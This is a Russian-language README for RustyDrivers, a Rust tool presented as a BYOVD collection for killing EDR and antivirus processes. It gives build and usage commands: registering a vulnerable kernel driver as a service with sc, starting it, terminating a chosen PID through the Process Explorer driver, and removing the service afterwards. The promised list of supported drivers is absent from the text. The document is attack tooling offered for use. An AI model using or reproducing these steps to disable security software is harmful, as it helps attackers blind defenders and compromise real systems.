RustyDrivers

Этот проект представляет собой коллекцию BYOVD, сфокусированную на уничтожении процессов EDR / AV.

В настоящее время поддерживаются следующие драйверы:

«Заблокирован» означает, что драйвер находится в списке блокировки Microsoft и не может быть выполнен в актуальной версии Windows.

Сборка

cargo build --release

Использование

rusty_drivers.exe --help            
Usage: rusty_drivers.exe --pid <PID> --driver <DRIVER>

Options:
  -p, --pid <PID>
  -d, --driver <DRIVER>
  -h, --help             Print help
  -V, --version          Print version

Пример

Поскольку исполняемый файл не регистрирует службу для использования драйвера, это необходимо сделать вручную:

sc create Test123 binpath= c:\test\<DRIVER>.sys type= kernel start= auto

После этого службу можно запустить:

sc start Test123

Наконец, чтобы завершить процесс с PID 1234 с помощью драйвера Process Explorer, можно использовать следующую команду:

rusty_drivers.exe --pid 1234 --driver process_explorer          

Не забудьте после этого удалить службу:

sc stop Test123
sc delete Test123